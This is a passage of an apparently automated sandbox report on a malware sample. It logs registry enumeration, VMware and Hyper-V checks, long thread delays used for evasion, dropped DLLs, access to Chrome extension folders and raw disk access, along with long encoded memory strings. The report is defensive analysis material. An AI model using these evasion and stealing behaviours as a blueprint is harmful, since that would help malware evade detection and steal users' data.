Source: C:\Users\user\AppData\Roaming\jjdjbtc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 5Yzloz244r.exe, 00000000.00000002.1703109636.000000000063E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOKP

Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Memory allocated: 1900000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Memory allocated: 3430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Memory allocated: 5430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Memory allocated: 6480000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Memory allocated: 7480000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 362	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1394	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 776	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1286	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 750	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 758	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Window / User API: threadDelayed 8627	Jump to behavior
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Window / User API: threadDelayed 9175
Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 9977
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1601
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 708
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3991
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1275

Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-PP7VD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\libogg-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-DIG7J.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsvDF5A.tmp\INetC.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\742D.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\libiconv-2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-C6I3E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-SBH8F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-KGK8A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-DBI1S.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\libbz2-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\avutil-56.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\zlib1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-J7KQC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-IUB5D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-JTIBI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\swresample-3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\avcodec-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\libvorbis-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-5CUFU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-NKCIS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-B1JQ9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\40BE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-G5H9G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\libwinpthread-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-FG4H6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\libgcc_s_dw2-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-LL0LJ.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\libvorbisenc-2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\SDL2.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\E059.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\is-SGE0N.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\VB Smart Card Viewer\avformat-58.dll (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_4-4426

Source: C:\Windows\explorer.exe TID: 6688	Thread sleep time: -139400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7148	Thread sleep time: -77600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6688	Thread sleep time: -128600s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe TID: 6328	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe TID: 1308	Thread sleep count: 8627 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe TID: 1308	Thread sleep time: -862700s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe TID: 3396	Thread sleep count: 9175 > 30
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe TID: 3396	Thread sleep time: -18350000s >= -30000s
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe TID: 6620	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe TID: 6620	Thread sleep time: -4560000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\C33B.exe TID: 5480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\Drivers\csrss.exe TID: 332	Thread sleep count: 9977 > 30
Source: C:\ProgramData\Drivers\csrss.exe TID: 332	Thread sleep time: -997700s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2364	Thread sleep count: 1601 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4588	Thread sleep count: 708 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2116	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3940	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe TID: 4820	Thread sleep time: -31000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5472	Thread sleep count: 3991 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1832	Thread sleep count: 1275 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5728	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5628	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe

File opened: PHYSICALDRIVE0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: explorer.exe, 00000001.00000000.1687147776.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1682948776.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: 87C6.exe, 0000000F.00000003.3294133336.0000000004165000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3286481138.0000000004165000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;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-UcWU55Vv
Source: explorer.exe, 00000001.00000000.1686512188.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1686512188.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2025857407.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000002.2213391368.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 87C6.exe, 0000000F.00000003.3252402591.00000000041CA000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3156840821.00000000041CA000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3211567381.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3275333264.00000000041CA000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3170053357.00000000041CA000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3284269889.00000000041CA000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3183028221.00000000041CA000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3150142205.00000000041C5000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3202616418.00000000041CA000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3158065960.00000000041CA000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3224671347.00000000041C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nAz9wcKHRldsV3Ubw07Jz3NDHaTL4qcjTZ+TGIEYuE-T8k5Xo2sfj/vxEanOe1y25PjGY9cU7AvypeBGKYxvVE-T8laiZmlr9qup1/HwVyg8B6fmcj2wRX0XE06vEV6tHs-T9GdWP8zw3aGDwwbYVnJaGs6Zh8JTPbUasaZ93fOt24-T94psYP+Q8OEUhHq8fdfgUvDxRDpRbnY0KLQEB79juI-T+kPNIc08ZUZ7DnCVqrXiFHarFL1ZumoVRYg/1t4jJU-T+n+MH4yzCX70Czxo5dlDjnh/opYBKNt2vRZVRWWLpQ-T+vLevKv4fvDAMKqlwa5iIZO5N+KIiJEqZYu3aUAQoo-T+82sc4dOducXdpGlTSaXP15ixrE2dSOD6egjJBT9WU-UAYylappaq14tGvUv2Cc6hbl0Os+fJ1Mo+Ew2CqI6Rc-UA7K5yZjlm+sAU63z/hje9mNJYkNSYSJbXl5a5svPbo-UBn0Fj3ue5eMUHTo1uDc6dKE7Xdwhf8EUZECPu4LEbg-UCA+nrQSTNEtns4A+lM2mHpX/SbBRcLVQg2pTmLI/fk-UCa8QRN/Ywu0bVajVU6CdkDacQrubqUpLAeUXU3b2us-UCcSU1g5scDI9Ea16KWuJI3yUWYmoa6JwlqWMjekCBg-UDCdGKoF4TNA9+z4jW+WNvrrC1R7JbLWaxfq759vIPE-UDSkUZo31rutOA7DZpNVV26dqXO3WVTebFZ+jN36N8w-UDqmEOsnqWqrON+QKT20qn9q5X/WzIlOeCFEC2Garcs-UErf8DKZ9UH4ITXQpukYFu9NGlVzHaxv/xjok3XdZRM-UFc3CXcbGiayMkAb4CwaGEXs4FogciXdnXi9aOLZr7c-UF47MXyDA0/6GS9SdCJThBVDodzHRKxTCqF4zSXTWcU-UGEkw+n5BVwdflrIpntghbDGItlMCrtZAryyxa8Is84-UGLp3S/qODgwF5/KunpEKzsxYgAm2pyJ7OHRvTudaDo-UGfHdqwZQQUkLXZnzxQk+UNyUkZva+aCcZNYgYpZFL8-UGgm18720ReXgf+3R/J33lh/1pM0P9QHtgyumS3aDCg-UGhrE4Ra+DtLUvsuEdhQ8xIPfcKThoH3wbsI0QBy9hk-UHiq9+mdJvMzqMHa8rrG5cba3dN+Q3idpJmj5P0bkxw-UJOfiOPTn6V6H1W9voH0X77krjpsTmrFUvyZwPd96hU-UJYdFaU49SADu4FcnmtVLRQzmK+nJWA+Zx68TcubmBg-UKnlGNjR7uX8rwR/2frtFkj3VbVec/r9cGY4u9zQ/xI-UMrbO3GZBKztojjK9PRgdc2CPKOuDHXebhjdMywMr3M-UM3j6F9giuex+KLIO1sNpNRwNQHVx39jvvtWvgG